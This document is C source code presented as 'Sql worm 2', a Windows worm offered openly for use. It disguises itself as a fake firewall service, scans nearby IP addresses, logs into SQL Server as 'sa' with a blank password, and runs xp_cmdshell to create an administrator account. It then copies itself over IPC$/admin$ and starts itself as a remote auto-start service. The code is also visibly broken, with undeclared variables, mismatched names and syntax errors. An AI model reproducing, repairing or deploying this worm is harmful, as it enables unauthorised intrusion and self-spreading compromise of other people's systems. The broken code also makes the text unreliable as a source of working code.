苏睿暄Sql worm 2的源代码

CODE:

#include <stdio.h>
#include <windows.h>
#include <winsvc.h>
#include <wchar.h>
#include <sql.h>
#include <sqlext.h>
#include <lmcons.h>
#include <winsock2.h>
#include <shellapi.h>
#define ServiceName "Microsoft NetWork Services FireWall";//欺骗对方
char RemoteFilePath[128]={0};
bool ConnIPC(char *RemoteName,char *User,char *Pass);// ipc$的连接
long GetLocalIP(void);//获得本机IP
DWORD WINAPI Sqlcmd(LPVOID lp);//sqlcmd?//you know the meaning
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow);
SERVICE_STATUS_HANDLE ssh;
SERVICE_STATUS ss;
/
void ServiceStopped(void)
{
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
ss.dwCurrentState=SERVICE_STOPPED;
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
ss.dwWin32ExitCode=NO_ERROR;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
return;
}
/
void ServicePaused(void)
{
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
ss.dwCurrentState=SERVICE_PAUSED;
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
ss.dwWin32ExitCode=NO_ERROR;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
return;
}
void ServiceRunning(void)
{
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;
ss.dwCurrentState=SERVICE_RUNNING;
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;
ss.dwWin32ExitCode=NO_ERROR;
ss.dwCheckPoint=0;
ss.dwWaitHint=0;
SetServiceStatus(ssh,&ss);
return;
}
/
void WINAPI servier_ctrl(DWORD Opcode)//服务控制程序
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP://停止Service
ServiceStopped();
break;
case SERVICE_CONTROL_INTERROGATE:
SetServiceStatus(ssh,&ss);
break;
}
return;
}
//
//杀进程成功设置服务状态为SERVICE_STOPPED
//失败设置服务状态为SERVICE_PAUSED
//
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv)
{
ssh=RegisterServiceCtrlHandler(ServiceName,servier_ctrl);
if(!ssh)
{
ServicePaused();
return;
}
ServiceRunning();
Sleep(100);
WinMain;
return;
}
/
void main(DWORD dwArgc,LPTSTR *lpszArgv)
{
SERVICE_TABLE_ENTRY ste[2];
ste[0].lpServiceName=ServiceName;
ste[0].lpServiceProc=ServiceMain;
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
WinMain;
return;
}
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
int a=2
HANDLE hThread=NULL;
DWORD dwThreadID;
long PreviousCount;
HKEY KittyXPaInstallKey,KittyXPaNewKey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//KittyXP.a//Install",0,KEY_ALL_ACCESS,&KittyXPaInstallKey)==ERROR_SUCCESS)
{
HMODULE g_module=NULL
char svFileName[512]
g_module=GetModuleHandle(NULL)
GetModuleFileName(g_module,svFileName,512)
char systemdir[512]
GetSystemDirectory(systemdir,512)
lstrcat(systemdir,"//ssrv.exe")
CopyFile(svFileName,systemdir,false)
RegCreateKey(HKEY_LOCAL_MACHINE,"Software//KittyXP.a//Install",&KittyXPaNewKey);
RegCloseKey(KittyXPaNewKey);
}
int i;
int StartNet;
int StopNet;
int StartHost;//IP段开始
int StopHost;//IP段结束

WSADATA wsaData;
struct in_addr host;

WSAStartup(0x202, &wsaData );
StartNet=GetLocalIP();
StopNet=GetLocalIP()+100;
StartHost=ntohl(StartNet);
StopHost=ntohl(StopNet);
WSACleanup();
do
{

host.S_un.S_addr = inet_addr(argv[1]);
WSAStartup(0x202, &wsaData );

hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
if(hSemaphore==NULL)
{

//printf("/nCreateSemaphore failed:%d",GetLastError());
//file://__leave;
}

for(i=StartHost;i<=StopHost;i++)
{
hThread=CreateThread(NULL,0,sqlcmd,(LPVOID)i,0,&dwThreadID);
if((hThread==NULL)
{
//printf("/nCreate thread failed:%d",GetLastError());
break;
}
//printf(".");
Sleep(10);
CloseHandle(hThread);
WaitForSingleObject(hSemaphore,INFINITE);
}
while(1)
{
WaitForSingleObject(hSemaphore,INFINITE);
if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))
{
//printf("/nmain() ReleaseSemaphore failed:%d",GetLastError());
Sleep(5000);
break;
}
if(PreviousCount==(MaxThread-1))
{
//printf("/nAll done.");
break;
}
Sleep(500);
}
CloseHandle(hSemaphore);
WSACleanup();
}
while(a=2);//死循环

return 0;
}

long GetLocalIP(void)
{
char szName[128];
int i;
PHOSTENT pHost;
gethostname(szName, 128);
//printf("%s/n",szName);
pHost = gethostbyname(szName);
if( NULL == pHost )// failed
return 0;
for(i=0;pHost->h_addr_list[i]!=NULL;i++)
//printf("%s/n",inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i])));
return inet_addr(inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i-1])));
}

DWORD WINAPI sqlcmd(LPVOID lp)
{
SQLCHAR Host[512]="";
SQLCHAR *User=";UID=sa";
SQLCHAR *Pass=";PWD=";
SQLCHAR *Database="";
SQLCHAR InConnectionString[1025]="";
SQLCHAR rowBuff[200]="";
SQLINTEGER iRowBuff;
UCHAR Query[1500]="";
UCHAR Cmd[300]="";
char inBuff[1025]="";
SQLRETURN nResult;
SWORD sLen;
SQLHDBC hDbc;
HSTMT hStmt;
SQLHANDLE hEnvironment;
int retries = 0;
memset(Query,0,1499);
strcpy(Host,lp);
sprintf(InConnectionString,"DRIVER={SQL Server};SERVER=%s%s%s%s",Host,User,Pass,Database);
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&hEnvironment) != SQL_SUCCESS)
{
//printf("SQLAllocHandle returned an error!/n");
return 0;
}

if (SQLSetEnvAttr(hEnvironment, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
//printf("SQLSetEnvAttr returned an error!/n");
return 0;

}

if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,hEnvironment,(SQLHDBC FAR*)&hDbc)) != SQL_SUCCESS)
{
//printf("SQLAllocHandle returned an error!/n");
return 0;
}

while(retries < 4)
{
nResult = SQLDriverConnect(hDbc,NULL, InConnectionString,
strlen(InConnectionString),
inBuff, 1024, &sLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO)
{
//printf("Ok.You have connected to MASTER database.../n");
SQLAllocStmt(hDbc,&hStmt);
break;
}
else
{
if(retries == 3)
{
//printf("/nCould not connect to the SQL Server on the target!/n/nMake sure you use !!HOSTNAME NOT IP!!/n"
"If you are using dial-up connection retry for a few times./n"
"If you are sure that SQL server is installed on the target check that port 1433 is open./n"
"If port 1433 is open and you have tried several times to connect, then probably SA does not have a NULL password./n"
"Get a SQL server brute force cracker , try to hack passwords and try again./n"
"If you are a script kiddy then go ( www.technotronic.com or packetstorm.securify.com) , find some documents , read them at least 1 year and try again.:))");

return 0;
}
retries++;
//printf("Performing retry(%d).../n",retries);
Sleep(5000);
}
}
memset(cmd,0,300);
strcpy(cmd,"cmd /c net user ");
lstrcat(cmd,GetLocalIP());
lstrcat(cmd," 123 /add/r/n");
Cmd[strlen(Cmd)-1]='/0';
sprintf(Query,"EXEC master..xp_cmdshell /"%s/"",Cmd);
//printf("Trying to execute %s on the target/n",Cmd);
if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS)
{
//printf("An error occured while performing your query."
"This does not mean that your command is unsuccesfull.../n"
"Check the result.If it didnt work then /n"
"make sure you did not use duplicate keywords with ODBC api/n or the target does not have ' xp_cmdshell ' stored procedure.");
return 0;
}
while (nResult != SQL_ERROR)
{
memset(Query,0,1499);
memset(cmd,0,300);
strcpy(cmd,"cmd /c net localgroup administrators ");
lstrcat(cmd,GetLocalIP());
lstrcat(cmd," /add/r/n");
Cmd[strlen(Cmd)-1]='/0';
sprintf(Query,"EXEC master..xp_cmdshell /"%s/"",Cmd);
if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS)
{
//printf("An error occured while performing your query."
"This does not mean that your command is unsuccesfull.../n"
"Check the result.If it didnt work then /n"
"make sure you did not use duplicate keywords with ODBC api/n or the target does not have ' xp_cmdshell ' stored procedure.");
return 0;
}
memset(rowBuff,0,99);
nResult = SQLFetch(hStmt);
if (nResult == SQL_ERROR || nResult == SQL_SUCCESS_WITH_INFO)
{
//printf("Error while fething the results from the stored proc./n");
}
if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO){
SQLGetData(hStmt, 1, SQL_C_CHAR, rowBuff, 100, &iRowBuff);
//printf("%s /n",rowBuff);
} else
{
break;
}
}
SQLFreeHandle(SQL_HANDLE_DBC,&hDbc);
SQLFreeHandle(SQL_HANDLE_ENV,&hEnvironment);
SQLFreeHandle(SQL_HANDLE_STMT,&hStmt);
if(ConnIPC((char*)lp,(char*)GetLocalIP(),123))
{
memset(RemoteFilePath,0,sizeof(RemoteFilePath));
HMODULE g_module=NULL ;
char svFileName[512];
g_module=GetModuleHandle(NULL);
GetModuleFileName(g_module,svFileName,512);
lstrcat(RemoteFilePath,"");
lstrcat(RemoteFilePath,(char*)lp);
lstrcat(RemoteFilePath,"//admin$//system32//");
lstrcat(RemoteFilePath,"stg.exe");
CopyFile(svFileName,RemotFilePath,false);
bool bRet=FALSE;
SERVICE_STATUS ssStatus;
SC_HANDLE hSCManager=NULL,hSCService=NULL;
__try
{
//Open Service Control Manager on Local or Remote machine
hSCManager=OpenSCManager((char*)lp,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCManager==NULL)
{
//printf("/nOpen Service Control Manage failed:%d",GetLastError());
return 0;
}
//printf("/nOpen Service Control Manage ok!");
//Create Service
hSCService=CreateService(hSCManager,// handle to SCM database
ServiceName,// name of service to start
ServiceName,// display name
SERVICE_ALL_ACCESS,// type of access to service
SERVICE_WIN32_OWN_PROCESS,// type of service
SERVICE_AUTO_START,// when to start service
SERVICE_ERROR_IGNORE,// severity of service failure
"stg.EXE",// name of binary file
NULL,// name of load ordering group
NULL,// tag identifier
NULL,// array of dependency names
NULL,// account name
NULL);// account password
//create service failed
if(hSCService==NULL)
{
//如果服务已经存在，那么则打开
if(GetLastError()==ERROR_SERVICE_EXISTS)
{
//printf("/nService %s Already exists",ServiceName);
//open service
hSCService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
if(hSCService==NULL)
{
//printf("/nOpen Service failed:%d",GetLastError());
return 0;
}
//printf("/nOpen Service %s ok!",ServiceName);
}
else
{
//printf("/nCreateService failed:%d",GetLastError());
return 0;
}
}
//create service ok
else
{
//printf("/nCreate Service %s ok!",ServiceName);
}

// 起动服务
if (StartService(hSCService,0,null))
{
//printf("/nStarting %s.", ServiceName);
Sleep(20);//时间最好不要超过100ms
while( QueryServiceStatus(hSCService, &ssStatus ) )
{
if ( ssStatus.dwCurrentState == SERVICE_START_PENDING)
{
//printf(".");
Sleep(20);
}
else
break;
}
if ( ssStatus.dwCurrentState != SERVICE_RUNNING )
//printf("/n%s failed to run:%d",ServiceName,GetLastError());
}
else if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
{
//printf("/nService %s already running.",ServiceName);
}
else
{
//printf("/nStart Service %s failed:%d",ServiceName,GetLastError());
return 0;
}
bRet=TRUE;
}//enf of try
__finally
{
WNetCancelConnection2((char*)(""&lp&"//IPC$"),CONNECT_UPDATE_PROFILE,TRUE);
return bRet;
}
}

return 0;
}
bool ConnIPC(char *RemoteName,char *User,char *Pass)
{
NETRESOURCE nr;
char RN[50]="";

strcat(RN,RemoteName);
strcat(RN,"//ipc$");

nr.dwType=RESOURCETYPE_ANY;
nr.lpLocalName=NULL;
nr.lpRemoteName=RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,Pass,User,FALSE)==NO_ERROR)
return TRUE;
else
return FALSE;
}